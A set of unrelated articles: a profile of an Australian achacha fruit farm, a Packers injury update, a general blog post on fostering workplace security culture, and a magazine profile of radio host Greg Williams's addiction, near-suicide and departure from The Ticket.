The Achacha tree is similar in appearance to the mango, and from a distance, they meld into the local environment where mango plantations compete with fields of sugarcane.
It can grow to 10 metres, but for ease of picking, the tops are trimmed to 3.5 metres and bases are ‘skirted’ to access the sprinkler system.
Achacha and its origins
Its origins are in the tropical lowlands of the Amazon Basin of Bolivia, in the Santa Cruz region.
The Achacha is closely related to the Mangostein, which is acknowledged across the globe as the queen of tropical fruit.
A delightfully tasting fruit not unlike the lychee in size and inner flesh, the Acacha’s husks are incomparable in many ways.
It is the size of an egg, golden in colour, and described by taste experts as having a unique flavour — sweet, tangy, delicious, much like a sorbet.
There are believed to be approximately 7,000 fruiting trees in Bolivia; there were more, but a forest fire a few years ago destroyed a large number of mature trees in the key growing area.
While the general botanical name for the fruit is Garcinia humilis, in Bolivia it is known as the achachairú, meaning ‘honey kiss’ in a local Indian language.
There are 10 or more similar varieties, but the one with the most flesh per kilogram is the one being grown in Giru.
In Bolivia, the Achacha is a relatively basic crop, where individual orchards generally have between 100 and 200 trees, and are tended by community groups.
Closer to home
Yet, on a 300 acre farm at Palm Creek between Townsville and the Burdekin, Helen and Bruce Hill and their small yet dedicated team of farm workers, have an extreme faith in the future of an Achacha industry in the tropics.
It cannot be grown in areas where the temperature gets below seven degrees.
Here in the foothills of Mt Elliott, they have developed the largest Achacha plantation of its type in the world (that they know of), and have become international pioneers in growing the South American fruit.
Their operation is one of continual research and development, where even the Bolivian authorities cannot offer any knowledgeable advice relative to its horticulture and traits.
Bruce and Helen moved onto their farm in 2002, and currently have 16,000 trees. Helen is the marketing executive while her husband maintains the farm with a small band of workers.
Initially they started the plantation with a commercial grower, but when he returned to his first love, growing vegetables, they took the opportunity to relocate to the plantation and directly manage the farm activities.
"I have always been interested in good health and eating well-grown food, but I didn’t think I would end-up actually doing the growing and becoming passionate about healthy soil," says Helen, a former artist and curator of fine art exhibitions.
The trees take seven years to grow, and are now in their sixth year of production. Some trees were lost in Cyclone Yasi and recent floods.
"Each year, as the trees mature, the crop increases, and so does the demand," Helen relates as we drive along the 1km long rows.
The farm is not just about Achacha; there are 3,000 African Mahogany trees, up to 20 metres tall, that serve as wind breaks, plus coconuts, soursop, jackfruit, lemon, star apple, star fruit and lychees. There is also a small herd of Brahman cattle.
A delectable side-product of the farm is Achacha Honey, which has become an extremely popular by-product.
Swarms of bees are attracted to the flowers, and last season 40 triple hives were installed within the plantation to take advantage of this tasty resource.
Also in the value-added mix is an Achacha Tropical Conserve.
Nutrition packed
Helen sees a big future for the tropical fruit industry in northern Australia, and her drive and motivation is palpable.
Helen stops the ute and walks to a group of trees, returning with hands full of fruit.
"There’s an art to opening them," she advises: "Just pierce the outside with a fingernail, then take with two hands and twist."
For someone who doesn’t have a sweet tooth, they are divine.
"After you’ve eaten the flesh, you can put the skin in water; this draws the goodness out of the husk and provides a refreshing and nutritious drink after about 12 hours.
"We’re working on the manufacturing processes for the drink," she says.
Refering to the Achacha tart made by Rose Adam on Masterchef aired June last year, Helen adds "The pulp makes an excellent dessert."
"And the fruit can be frozen in its skin, and used as a palate cleanser during the off-season."
The health benefits of the fruit have long been recognised in Bolivia, its country of origin.
Now academic researchers from the School of Science and Health at the University of Western Sydney, who have been studying the properties of the fruit, its skin and pulp over the past year, found
"high levels of hydroxycitric acid (HCA) and surprisingly high levels of arginine (which) can be extracted simply by soaking the Achacha skins in water."
"In moderate to high concentration," the report notes arginine, an amino acid, "can help improve blood flow and other aspects of cardiovascular health. It may also prevent excess accumulation of fat in the fat cells."
Helen is the fruit’s most ardent advocate: She describes it as a unique taste sensation for fruit lovers, which makes delicious sorbets and granitas, amongst other things.
It has a long shelf life provided it is kept above 10 degrees in an enclosed container. It is not to be refrigerated.
The Achacha is non-climacteric: once picked, it does not continue to ripen.
This creates an issue with the right time to pick, yet the fruit can stay on the tree for quite some time after ripening.
"Fruit ripening is consistent with the amount of sun and temperature available," says Bruce, "which makes it an ideal fruit for the tropics."
Machines and soil
"Because we’re pioneers, there isn’t the machinery, so we have had to design our own," she adds.
Back at the packing shed, former Burdekin cane harvester operator and cane farmer, Gary Parker, with local farmer Graeme Bussey are checking equipment they have already manufactured — some of which is innovative, even ingenious.
"The fruit is very easy to pick, that’s the easy part," says Helen. "It’s maintaining the crop that takes much more work."
The farm has become totally organic though not certified, and Helen went into some depth as to why they deem this to be a better way:
"We found the trees had become dependent on chemical fertilisers, resulting in unwanted pests and other problems and the trees required more and more herbicides, pesticides and artificial fertilisers each season.
"Our costs were unsustainable. The soil was effectively a carrier of expensive inputs, no earthworms, no beneficial microbes, or fungi, no organic matter, no humus, nothing to absorb carbon from the atmosphere. That was when the steep learning curve kicked in," she said.
She quotes Soil Food Web Ingham founder Dr Elaine Ingham: "Basically, her message is: if you are interested in your health, you have to be interested in soil.
"Soil is this hidden world under our feet that allows our planet and our society to thrive. But far from nurturing the soil that feeds us, modern agriculture often destroys it."
Importing the seeds
While the Bolivian Government zealously protects its native products, after extensive negotiations with government agencies, Bruce and Helen Hill, through their company, Achacha Fruit Group (AFG), were able to establish protocols where permission was granted for them to take seeds out of Bolivia.
As a result, AFG was required to obtain Plant Breeders’ Rights to the Achacha in Australia to protect its propagation here.
The Australian Quarantine Inspection Service (AQIS) was also involved in the negotiations prior to the importation of the seeds, and had them fumigated upon arrival in Australia.
From here on, every step they made was research and development, and this continues today.
The fruit has never been grown in plantation conditions anywhere in the world — even Bolivia — and while they are grown in semi-shade in their native country, in the foothills of Mt Elliott they grow in the open.
Selling and exporting the fruit
This year marks the fruit’s sixth season in the Australian market. During a 15-week picking season, which runs from December to March, up to 30 backpackers are hired to pick the fruit.
The majority of the fruit is consigned to markets in Townsville, Brisbane, Sydney and Melbourne; small quantities are sent to the United Kingdom and Europe, especially Paris, where they end-up in upmarket stores like Harrods and Marks & Spencer.
Their drive to take this domestic Bolivian fruit to an international audience has been a journey into the unknown, but every step they take is a step forward.
And with two sons working in Europe, it has become a family affair that has led to some enterprising discoveries.
Europe had never heard of the Achacha until horticultural trader Wayne Prowse, then of Horticulture Australia Limited (HAL) and now with the Southern Hemisphere Association of Fresh Fruit Exporters, took some boxes of the fruit to the world’s largest fruit and vegetable fair, Fruit Logistic Berlin, which attracts 75,000 trade visitors.
The following year, AFG was invited to enter the Innovation Awards run by Fruit Logistica. Despite the large number of entries, they made it into the top 10, which entitled them to a very small stand.
Sweet success
Helen added: "To our surprise and absolute delight, we came in at number three, over some of the biggest names in the business."
Bruce and Helen have two sons, who work in Europe and Thailand, and although so far away, are integral to their Achacha project.
Son Adrian is an urban designer who lives in Brussels, and uses his computer skills to design all advertising and promotional material, taking it to the print stage. He worked on the Achacha stall in Berlin.
Their other son, Justin, is a mechanical engineer who, with the use of a Thermomix, has discovered a method to pulp the fruit by taking the skins off, and allows for readily made sorbets and commercially-produced gelato.
"It’s simply astounding ingenuity how it gets the skin off," says Helen.
There is much potential for the future for Achacha Fruit Group as the sole commercial operator in the world, and they are seeking to license the operation in Australia.
There is no limit to their expertise or faith in future prospects for the fruit: lack of capital is their only barrier when it comes to exploiting the available opportunities.
Helen can be found addressing conferences and seminars down the east coast, and her marketing approach has been extremely successful — despite being carried out with no budget.
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By of the
Green Bay --- Safety Micah Hyde and outside linebacker Andy Mulumba both left the Green Bay Packers' 31-24 win over the New York Jets with knee injuries.
Hyde expects to be ready for the Packers' game this week in Detroit, while Mulumba's might be season-ending. Meanwhile, one reason cornerback Casey Hayward didn't see any action on defense was because his hamstring tightened up.
In the locker room Monday, Hyde indicated that he suffered a bruise and was icing his knee to get the swelling down.
"I have some ice on it right now," Hyde said. "That should probably do the job. Just a little sore. I don't know what it was. I tried to look at it on tape. I don't know if it was a helmet, cleat, knee, I don't know what it was but I took it right at my knee."
This appears to be nothing more than a scare for Hyde. He has suffered the same hit to the knee before.
"It just tightened up on me, so I couldn't keep going on it," he said. "I've had bruises and swelling before, so it's nothing I can't handle."
The final verdict is not in on Mulumba yet, but coach Mike McCarthy said the knee injury is "significant." The Packers were awaiting the final test results, though McCarthy said "it didn't look good."
While Davon House saw extensive action out wide in Green Bay's nickel package, Hayward did not play. Even in its dime package, Green Bay went with veteran Jarrett Bush over Hayward.
While the Packers planned on using House regardless, defensive coordinator Dom Capers indicated that Hayward's hamstring -- the one that gave him so much trouble last year -- tightened up.
"I don’t know what the medical status of Casey was at that point in time," Capers said. "We’ll have to find out there. Really, Bush was healthy and ready to go, and I don’t know that Casey might have tightened up just a little bit. With his hamstring issues in the past, you’re always cautious of that."
Green Bay will be needing all of its defensive backs available this week against a Detroit Lions offense that will spread the field out. Hyde said he'll "definitely" be ready to play and maybe we'll get updates on Hayward when practice resumes Wednesday.
The last time the Packers visited Ford Field, they surrendered 40 points, 30 first downs and 561 total yards.
Building a successful company culture often comes down to three elements: people, processes, and technology. A lot of education out there today emphasizes processes and technology, but effective security cannot be achieved without an organization-wide dedication to security. This is where people come in. From top-down to bottom-up, the best security cultures weave all three of these elements together equally. Here’s how:
1. Align security with business value
In order for security to be successful across an organization, it must permeate from a top-down strategy. This starts by aligning business-wide goals with the goals of security: to impact profitability, productivity, and brand reputation. From here, leadership can more effectively map security functions to each team, process, strategy, and technology.
In practice
Security and compliance are often big drivers in winning enterprise deals. Many large companies can only do business with companies compliant with HIPAA, SOC2, PCI, and so on, meaning sales are directly impacted by security efforts. Gaining employee buy-in can be achieved in many organizations by aligning security measures with winning deals.
2. Empower everyone to become security advocates
While a top-down approach to creating a culture of security ownership is crucial, building a bottom-up approach that involves and excites middle management and individual practitioners to participate is equally important. These advocates can champion security initiatives within not only their departments, but organization-wide as well.
There are two traits to look for when searching for advocates:
Those that have an interest in security, such as security-minded developers. Becoming a security advocate is a natural extension of what they’re already doing, so they are, quite often, the easiest people to get on board.
Those who understand the business value of security, such as a VP of Engineering or CEO. It is their job to keep the business growing up and to the right, so they know and feel the organization-wide impact of securing infrastructure, ensuring customer confidence, and meeting industry-mandated security standards.
Once you have established security advocates, it’s important to assign them particular tasks for clarity, alignment, and accountability.
In practice
Secure coding practices are a great example. As a company grows, the task of enforcing best security engineering practices can quickly balloon out of control, but with security advocates designated across the organization, these policies can be better implemented and enforced, even at scale.
3. Train teams and give them the right tools to succeed
An informed organization is one of the most important defenses against attacks. Workforce training starts by communicating how security can protect the company and why that matters. From there, you can begin to implement processes and policies to put company-wide security initiatives into action.
The best way to ensure that these are effective is to implement systems that are both practical and seamless to everyday workflows. To do this, the right tools need to be leveraged. This is where security automation comes in, giving you all of the benefits of security protections without the overhead that can burden your employees.
In practice
A great way to conduct security training is by simulating real-world attacks. It’s not enough to present a slide deck on the dangers of today’s cyber attacks. That’s when employees fall asleep. Instead, demonstrate what a real attack looks like (from suspicious links to stolen credentials) and provide on-the-spot training for how to respond if someone falls victim.
Don’t blame or point fingers. Instead, provide your team with the tools they need to be effective, including Slack scripts to alert on issues, training on two-factor authentication with the likes of Duo Security, data backups and encryption, and, of course, password management apps such as 1Password.
4. Gamify initiatives and measure the results
Summary reports, bar charts, progress bars, you name it! While using the reporting format of your choice, show off the value security is creating for the business so that your teams can see how their work is making the organization safer. This is where gamification of security can have a huge impact.
In practice
Some examples of incentives include:
Internal bug bounties, where employees who find security bugs get a bonus
Friendly competitions where teams that respond the fastest to security events receive public acknowledgment and/or a bonus
Here are a few options for reporting the results of security work:
Dashboards that shows how many attacks were blocked/stopped
Dashboards that show improvements in code quality over time (using tools like Coverity to measure stats such as vulnerabilities reported)
Leaderboards to show how quickly teams are resolving reported security issues
5. Create an open feedback loop and implement constant improvements
Security is never a set-it-and-forget-it thing. At Komand, we’re always hungry to improve our practices, and we encourage you to do the same in the form of continuous updates and policy improvements to keep up with the latest threats.
Do this by listening to your teams. What is working? What isn’t? What can be improved upon? This feedback loop ensures that security processes and technologies in use are in fact effective, useful, and easy to use.
In practice
Here are a few effective ways to receive and respond to team-wide feedback:
Create an email address dedicated to receiving employee recommendations for improvements
Encourage suggestions during team-wide meetings
Have an open-door policy to encourage external team members to give security leaders feedback
Use a wiki or Trello board for submitting requests
With feedback and real-world learnings from your security program, you can continually improve your security posture.
Implementing your culture of security ownership
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The hammer is cocked.
His resolve eroded, ego fed to the furnace and suicide notes written, Greg Williams is a trigger pull from eternal mute. He is besieged by pain, haunted by guilt and devastated by depression, all simultaneously demanding their reckoning. He barely gives a damn about leaving this world without proper goodbyes. Even to his former co-workers at 1310 AM The Ticket, with whom he built an unprecedented Dallas radio dynasty, only to have them now turn their collective back on him.
Sitting in the study of his 1,800-square-foot condo of The Renaissance on Turtle Creek on a dreary night early last December, Williams—whose country-fried, common-man "Hammer" persona made him one of the most popular talk-show hosts in Dallas radio history–crouches at his expansive desk, gently rocking in the red, high-back leather chair.
In front of him: Short farewells written to his mom, best friend, girlfriend, childhood pal and longtime sidekick on The Hardline, Mike Rhyner. In his mind: Thoughts of a cocaine addiction that cost him his dream job, memories of estranged relationships with station hosts and images of his brother's suicide 10 years earlier. In his right hand: A loaded, cocked Glock 9 mm handgun.
Williams is sober. But also about as fucked up as he can possibly be.
In an absurd way, he feels happy. Peaceful. He's going to erase it all, his free fall fittingly climaxing in a crash.
Like The Sopranos' finale, he'll quietly and abruptly fade to black. He'll leave friends to ponder how a guy with so much cared so little. He'll leave foes to debate whether he merits inclusion on The Hardline's next irreverent "Trifecta Talk" of notable deaths.
Or will he?
Because in his skewed ad-libbed reality, his plan has developed a glitch. Fear? Remorse? A sudden blip of hope?
Unable to point the gun at his temple, he eventually sighs, crumples the notes, flips on The Military Channel and crawls into bed. The bailout offers him another restless night. Another chance to reflect.
"The only reason I'm alive is because I'm a coward," Williams says now. "I was such a loser, I couldn't even pull the trigger."
Greg Williams is addicted to Coke.
And lighthouses. And TCU. And America. And guns. And, turns out, anything else—at one time, The Ticket included—that tickles his obsessive compulsive fancy.
Go to a Memorial Day weekend party at his house on Lake Granbury, and it's apparent the dude has a Ph.D. in OCD.
His home sits at the intersection of charming cove and sprawling lake. It's a party palace, accessorized with the kind of bells and whistles assembled during years of mid-six-digit salaries. That's the one, with the white convertible Porsche with the TCU license plate and the purple 'n' white TCU mail box and the TCU-colored guest bathroom.
"I'm an addict. I don't do anything half-ass," Williams says, shrugging at his organizational overload. "I've always been super-neat. Make the bed, clean up after yourself. Everything's got its place."
No wonder Williams is skittish. The guy who depends on order has been forced to revamp his routine.
He's downsized his circle of trust. He's pursuing an on-air gig at The Ticket's rival, ESPN Radio KESN-103.3 FM. He's selling his Uptown apartment and his ski condo in Breckenridge, Colorado, all in an attempt to move in and move on with girlfriend Jennifer Rosenbaum in the relative peace of this historic community 80 miles west of Dallas.
Rosenbaum briefly dated Williams a couple years back after she offered to build a Web site for The Hardline, and she obviously left their initial relationship with strings attached.
"When we were talking about ending it, out of the blue Greg told me he'd need me someday," Rosenbaum says. "When I heard he was in trouble last fall I came running, even though I had a boyfriend."
In his backyard, the adults—fanatically loyal Ticket "P1" (Priority 1) listeners, "NASCAR Dennis" DeWeed, Richard "T-Bar" Boggs and a lake-rat neighbor—are tilting cold beer and trading tales between bites of brisket. Out by the lake, kids climb atop the elaborate dock—which houses two boats, two jet skis and boasts an enormous sun deck—and plunge 20 feet into the murky water.
"Come on in!" Williams greets. "Wanna show you something."
For now, there's no time to be dumbfounded at the living room's main wall—15 feet high and plastered with 11 years of assorted Coca-Cola antiques. For now it's just a blur, whizzing past that guest room decorated with what must've been 100 various representations of lighthouses, from embroidered pillowcases to decorative wallpaper to nightstand figurines. You'll have to wait to dissect the two photos of Williams with Rhyner and the patriotic master bedroom and its three wooden doll chairs affixed in a row—red, white and blue—where wall meets ceiling.
Because right now—first things first—the host really wants you to see his pride and joy. His gun collection.
"I should not be allowed to own all these," says Williams, unlocking a 6-foot-tall safe stockpiled with an arsenal that would make David Koresh blush. "Nobody should be able to go out and buy an assault rifle. But, because the law says I can, I'm going to take advantage of it."
Williams beams that he owns $50,000 in weapons. He has a Bonnie 'n' Clyde machine gun replica; an Italian Carcano M91 rifle, the kind that Oswald may or may not have used to shoot JFK; and a Robocop-looking contraption with a red laser scope Williams claims could pierce a coconut across the lake, some 600 yards.
"But I never shoot anything but paper," he says. "I took the concealed handgun class and walked around NorthPark mall packing heat in my shoulder holster just to see what it felt like. But I'll never join the NRA."
Before you can calculate the volatility of combining guns with depression with drugs, there it is—the Glock.
Jokes Williams, "Wanna hold it?"
Bizarro notwithstanding, it's refreshing to see Williams lucid, much less laughing.
Nine months ago he walked off The Hardline in mid-syllable, checked into drug rehab and subsequently, depending whom you believe, either quit or was fired.
Either way, Williams' departure imploded his high-profile, high-income career and aborted his 14-year marriage to Rhyner on the highly rated Hardline. Down to its "Stay Hard" mantra, the wildly popular show was aural sex, eschewing traditional radio formats for guy talk with subplots of sports, private parts, bathroom humor, fake guests and the grand illusion that listeners were members of a big frat house, in on all the jokes and cosmically connected to its Everyman hosts. While other stations over-laughed, slurped imaginary coffee and pretended to be enthralled by traffic and weather together, The Ticket didn't just pull back the industry curtain, it yanked the sucker off the rod.
After moving from middays to 3-7 p.m. in '96, Rhyner and Williams earned numerous awards including ESPN "Sports Radio Personalities of the Year" in '97, '98 and '03. Anchored by The Hardline and the Dunham & Miller morning show, The Ticket also won the National Association of Broadcasters' prestigious Marconi Award for "Best Sports Station in America" last September.
Spawning an almost cult following, Williams' career was the triumph of genuine over genius. Whether his humor was born of intelligent design or unintentional country bumpkinism, his charisma hypnotized.
"He's the rare guy who made a living out of being himself," says Live 105.3 KLLI-FM host and former Ticket voice Richard "Big Dick" Hunter. "He's not a traditional sports broadcaster, but more a voice who makes you think you're listening to a friend. There's nobody else like him, in this market or many others."
But behind Williams' success was excess.
Depression, drugs and deceit conspired to obliterate the fairy tale, leaving Ticket listeners grasping for an explanation and Williams struggling to rebuild his career.
"I got caught up in the big-city stuff—being someone I wasn't," says Williams, ingesting a gorgeous sunset atop his dock. "I didn't handle the success well at all. This is a place I can just handle being me."
Out here—with minimal fame, fortune and frolicking females—he can be like the rest of us schmoes, bitching about chores and snakes and dead batteries. Out here, ensconced in lakeside serenity, he can even tame his OCD.
When Rosenbaum sets out portable chairs, Williams notices she's assembled one of the Reebok logo backs upside down.
For once, Williams is trying to starve his cravings. Whatever they may be.
"Honestly, it's driving me nuts," he says, struggling to divert his gaze from the askew chair. "But see, I'm not even going to touch it."
If only he would've taken the same approach to cocaine.
Though Williams was born in Fort Worth, he moved to Hampton, Virginia, and then to Boyd in Wise County with his military dad and even stricter mom. Williams, his two sisters and brother tight-roped a delicate balance between perfection and peril.
"My mom's house is always immaculate," says Williams, who attended his father's funeral on Tuesday. "Dad has stuff on his table laying in the same place since 1999."
Williams isn't bipolar like his brother Ron, who Greg says crafted a gun out of spare parts and shot himself in dad's backyard shed. But a constant moodiness gnaws at Williams, whittling quantity and quality from his life when left untreated.
"It's always there," he says.
His parents divorced, prompting Williams to seek solace in sports. But his playing career topped out at one year playing baseball for Ranger Junior College near Abilene, where he roomed with future University of Kentucky basketball coach Billy Gillespie. With an affinity for attending games and spinning yarns, Williams shelved a bartending career to pursue a degree in broadcast journalism at TCU.
Upon graduation at 29, he landed an entry-level job at WBAP-820 AM, which led him to become Randy Galloway's Sports at Six right-hand man. More important, it directed him to the auxiliary press box at old Arlington Stadium. It was there—in cramped, steamy quarters down the first-base line dubbed "the back of the bus"—that he blossomed as both hard-working Williams and fun-loving Hammer, a nickname bestowed upon him by Galloway for the way he relentlessly pounded away at assignments.
And it was there, in 1990, that he met Rhyner. Peanut butter, jelly. Jelly, peanut butter.
"He was playing the small-town country guy card, but before long I learned there was a lot more to him," Rhyner says. "We both had a love for baseball, and we weren't afraid to speak our minds. Before you knew it we were friends. Some of my best memories are of spending nights at the ballpark with Greggo. That was the height of fun."
Says Williams, "I don't think either of us ever figured out why we clicked. We just had a special chemistry you can't teach."
Soon Williams, nabbing interviews for Galloway's show, and Rhyner, recording Rangers reports for a GTE sports phone service, lassoed KRLD-1080 AM minion Craig Miller into their nightly baseball banter.
"All of the sudden we started noticing the reactions to us," Rhyner says. "People pulled up a chair. They listened. They either wanted in on it or they hated us. It was obvious we were having a tangible effect...We began to wonder if we truly had something useful and, if so, what the heck do we do with it?"
Rhyner used that momentum and recruited financial investors and a slew of old radio cronies who helped him launch The Ticket in January 1994. The innovative 24-hour sports station was an instant hit, with phone lines jammed, remote broadcasts crowded and ratings soaring within six months. The station's backbone was the Rhyner-Williams pairing, christened The Hardline because of its tell-it-like-it-is tenor.
Desperate to fit in and intimidated by Rhyner's résumé—which included a prominent role on The Zoo KZEW-98 FM's LaBella & Rody morning show—Williams immediately raised a red flag, one that would become a catalyst for the breakup of one of Dallas radio's most successful couples. He began telling whoppers.
He claimed he played Major League Baseball for the Montreal Expos and hit a home run off Hall of Fame pitcher Steve Carlton in his first at-bat. Stats nerd that he is, Rhyner checked his Baseball Encyclopedia. Nada.
"I didn't call him out on it," Rhyner says. "There was so much else I liked about the guy. He was good-hearted, and he'd do anything for anyone. I just glossed over it."
Admits Williams, "Yep, I said that. And it's a total lie."
Same with the one about legendary University of Texas football and baseball coaches Darrell Royal and Cliff Gustafson fighting to acquire his talents. And the one about him dating country singer Tanya Tucker.
"I don't deny saying that, either," Williams says. "I just wanted to be cool."
Just as The Ticket and The Hardline were gaining traction, Rhyner was again alarmed by his co-host. When Williams summoned Rhyner to a Fort Worth hospital room, it seemed as though he were meeting Williams for the first time. And, apparently, vice-versa.
"Greggo didn't recognize me," Rhyner recalls. "He looked at me and said, 'Who are you?' I should've taken it more seriously, but by this time the guy had brought something really valuable to the table. However much he needed me, I needed him more. His radio voice was well-defined already. Mine wasn't."
Says Williams about the incident, "I had a mental breakdown over a girl. She was my first real love, and I was crushed. I mean, crushed."
On the air, Rhyner and Williams were quickly gaining popularity and ratings last seen in these parts by Stevens & Pruitt, Hal Jay and Dick Segal or perhaps Ron Chapman and Suzie Humphreys in the "K-V-I-L-o-van."
Rhyner gruffly derided the Cowboys and talked up his die-hard fondness for American Idol. The Old Gray Wolf was the pompous patriarch who delighted in forcing listeners to carry a thesaurus; Williams wore ostrich boots and looped Smokey and the Bandit. The Hammer was the chubby commoner, jumping off bridges at Super Bowls, boasting about eating 10 Whataburgers and obsessing about women's boobs.
Long before The Ticket and The Hardline earned No. 1 in their coveted (men 25-54) demographic for two consecutive years, Williams sported more alter egos than Herschel Walker—Greggo, Uncle Greggo, The Hambonita, Robot Greggo, Li'l Girl Greggo, Motorcycle Greggo, et al. He soaked in his celebrity, attracting TV cameos, a short feature in Sports Illustrated and a salary that topped out at $500,000 last year.
Though their on-air camaraderie suggested they fell asleep in bunk beds while talking MVPs and double D's, truth is Rhyner and Williams stopped talking off the air in the late '90s.
"Some of it was that it was better radio if it was spontaneous, if we hit each other with stuff for the first time on the air," Rhyner says. "And some of it was that we just grew apart."
Ironic, that at the height of Williams' machismo, The Ticket aired a fake phone call purportedly between program director Jeff Catlin and Williams, mocking the host's recent sick days.
"I've got a sneaker in my cheek, Cat," claimed fake Greggo. "Whatever you do, don't tell Rhynes! Don't you dare tell Rhynes!"
If listeners only knew.
As The Hardline's popularity soared, Dallas' most mesmerizing radio relationship soured.
"My trust in him waned," Rhyner says. "It was more what I saw him do to others more than to me. Girls mostly. When he thought he had the upper hand in a relationship he treated them just awful."
According to both, the "Corby Conundrum" deepened their chasm.
Sensing the show needed a tune-up in '99, Rhyner suggested bringing in a third voice. Williams pushed for Corby Davidson, who had lost his foothold at the station in the wake of The Chris Arnold Show going kaput.
"When Greggo first mentioned him, I didn't know him," Rhyner admits. "Then when I met him I couldn't stand him. But eventually he was right. It worked."
Or did it?
Of all the sensitive issues between them—from women to drugs to habitual lying—none is more polarizing than Davidson. In short, Williams believes Rhyner steered conversations toward Corby and away from him in an effort to re-route the show's flowchart. Rhyner calls it jealousy.
"He orchestrated a game of freeze-out against me," Williams says. "It was like keep-away, between him and Corby and Danny [Balis, The Hardline producer]. For whatever reason I wasn't utilized like I once was. I still don't know why."
Rhyner denies choreographing any such manipulation but admits that a "natural order of things" commenced with the rising of Williams' insecurity and Davidson's competence.
"Look, all the mics were open all the time," Rhyner says. "There was never an intentional stressing of Corby over Greggo. As bad as the thing was, I'd never do that to the guy. I'd do it an honorable way if it needed done. But the truth is, he just wouldn't get involved. He became withdrawn, and everybody noticed."
The fib that broke Rhyner's back came in the summer of '04, when Williams went into the hospital for what he said was gall bladder surgery. When he returned to work 10 days later, he had dropped 20 pounds. Diet and exercise, he claimed, though he refused to talk about it in detail, on or off the air.
For a station founded on "full disclosure," someone seemed to be hiding something.
Tipped off by multiple anonymous e-mails, Rhyner finally had his answer: Lap-Band surgery.
"That finally made me see the futility of it all with him," Rhyner says. "Lying to me about that? What would I care? Had he told me the truth all along we probably wouldn't be here right now. But at that point, I was done."
At a lunch in Houston during the baseball All-Star Game, Rhyner confronted his longtime partner. After multiple denials, Williams ducked his head in shame. "I was very embarrassed to get that surgery," Williams says. "Plus, at the time, I thought I could get away with anything."
Even his on-the-air ripping of home-run king Barry Bonds for taking steroids, then joining his Uptown crew that same night for a couple bumps of go-go powder.
Rhyner had tolerated Williams' lies, seen the womanizing, endured the depression, witnessed the mental breakdown and experienced—also in '04—Williams' traumatic detox from an addiction to the painkiller Lorcet, prescribed to treat a bad back.
But then his partner's behavior turned even more troubling.
Last June, Williams showed up to a pre-show meeting with "allergies"—allergies that lasted five months.
"I've known the guy 20 years, and if he's allergic to something I'd have known it by then," Rhyner says. "But he was so loaded up he just assumed we'd all be naïve."
Williams sniffled incessantly and sweated profusely. In meetings he was nervously and endlessly chatty. He radically changed his dress, from boots and button-downs to loud paisley shirts. At a staff dinner last July at Cowboys' training camp in San Antonio, Williams' nose began bleeding onto a restaurant table.
"We'd confront him about drugs, about cocaine," Rhyner says. "But it was always 'allergies.'"
Friends, too, grew concerned.
"I had suspicions, because he was forgetting stuff and not showing up where he was supposed to be," says Boggs, the longtime Ticket promotions assistant who earned his "T-Bar" moniker supplying The Hardline with VIP passes to topless bars. "But you never want to think the worst of your best friend. He thought he could do drugs every once in a while and control it. But that's just his stupidity. He's too addictive."
Says Williams, "It occurred to me to come clean when they'd ask. But I just kept on. I thought I was bulletproof to anyone and everyone about everything. That's what addicts do. They use. They deny. I was trying to pull a fast one on everybody, but the only person I was fooling was myself."
There was a sudden two-day absence later in July when Rhyner says Williams answered his inquest with, "Well, if you must know, I had a stroke." And on August 23—The Ticket's "Fight Night" at the Village Country Club—suspicions earned substance when, according to Rhyner, Davidson walked into the bathroom and found Williams kneeling over a line of blow on the toilet seat.
"I don't remember that exactly," Williams says, "but I'm certainly not denying it happened."
He then put on his headphones and re-joined the on-air round table while under the influence, a career-ending violation under most codes of conduct.
"Including mine," says Williams.
For Williams, who often chastised Dallas' fair-weather sports fans as the "cocaine and boob-job crowd," this was more than a bump in the road.
It all started while hanging out in May '07 at a Saturday night house party with his new, eclectic Uptown friends. Though he hadn't taken the drug since a one-time experiment in '81, he downed a couple drinks, was offered cocaine and dove in nose-first under the illogical reasoning of: "Sure, why not?"
Two bumps—snorted off his car key—and Williams was hooked, he says. "I was euphoric, energetic. I called the next weekend for more, and from there it was a steady climb."
For the next five months he altered personas: Greggo by day; Wacko at night.
"I never did it daily, but I was addicted," he says. "If I hadn't been confronted I might have never stopped until something really bad happened."
Worse, even, than losing his job.
On Friday, October 12, Williams claims he innocently overslept. In between his workout and lunch, he dozed off and didn't arrive for The Hardline's remote at Addison's Blackfinn Restaurant and Saloon until the middle of the first segment. During a commercial break Catlin called and ordered Williams to immediately take a drug test.
"I can't take a drug test right now," Williams told his boss.
At 9 a.m. the following Monday at the station's offices across from Reverchon Park, Williams met Catlin and Dan Bennett, vice president at Cumulus Radio, which owns The Ticket. "They knew, and I knew I couldn't deny it anymore," Williams says. "I told them I couldn't take the test...because I couldn't pass it."
Unaware he had uttered his last word on the Ticket, Williams underwent four days of rehab in Arlington, followed over the next month by Narcotics Anonymous meetings and four more days as an outpatient in Dallas. "My motivation for going through it all was getting clean and going back to work. The Ticket was my carrot," he says.
But while Williams was planning his return, his co-workers were committed to proceeding without him. At a remote broadcast in late November, Boggs says, he overheard Davidson express the fear that The Hardline would no longer be able to use Williams' drops (short, recorded quips) because "that's half our show."
"It was really sickening," Boggs says. "Greggo was being told he still had a job, but these guys were already talking about him in the past tense."
Indeed, in his mind, Rhyner already had burned his last segment with Williams.
"When my contract was up, if he came back I was leaving," Rhyner says. "He had just become a drain on everybody, especially me. He threw pity parties for himself, he didn't participate in the show and he was high on the show more often than not. The show was just better without him. He was unsalvageable....He became intoxicated with his fame and developed a sense of entitlement that would stun a mastodon."
On the morning of November 21—the day before Thanksgiving—Williams went to Cumulus' 16th-floor offices and walked into a scene right out of 12 Angry Men.
Perhaps he should have seen it coming. When Williams arrived for the 10:30 meeting, there in the lobby was Rhyner. The two hadn't spoken since October 12. They took separate elevators.
On one side of the imposing conference room, sitting in a semicircle, were the brains and brawn of Dallas' most popular talk-radio station: Bennett, Catlin, Rhyner, Davidson, Balis, Miller, George Dunham, Gordon Keith, Dan McDowell, Bob Sturm, Donovan Lewis and Tom Gribble. (10 a.m.-noon host Norm Hitzges and assistant program director Mark Friedman were on the air.)
"I'm almost happy I wasn't able to be there," Hitzges says. "Some days it would take a genius to tell Greggo was struggling because, to me, his work didn't suffer."
Nevertheless, there sat Williams in the bull's-eye of the storm.
"It was without question the tensest thing I've ever been a part of at The Ticket," Rhyner says. "Months and years of frustration and venom came down on him."
Williams felt he was being ambushed, the attack occurring just 48 hours after he had completed out-patient rehab and 24 since he signed a "last chance" contract stipulating a $100,000 pay cut, no bonuses and random drug testing.
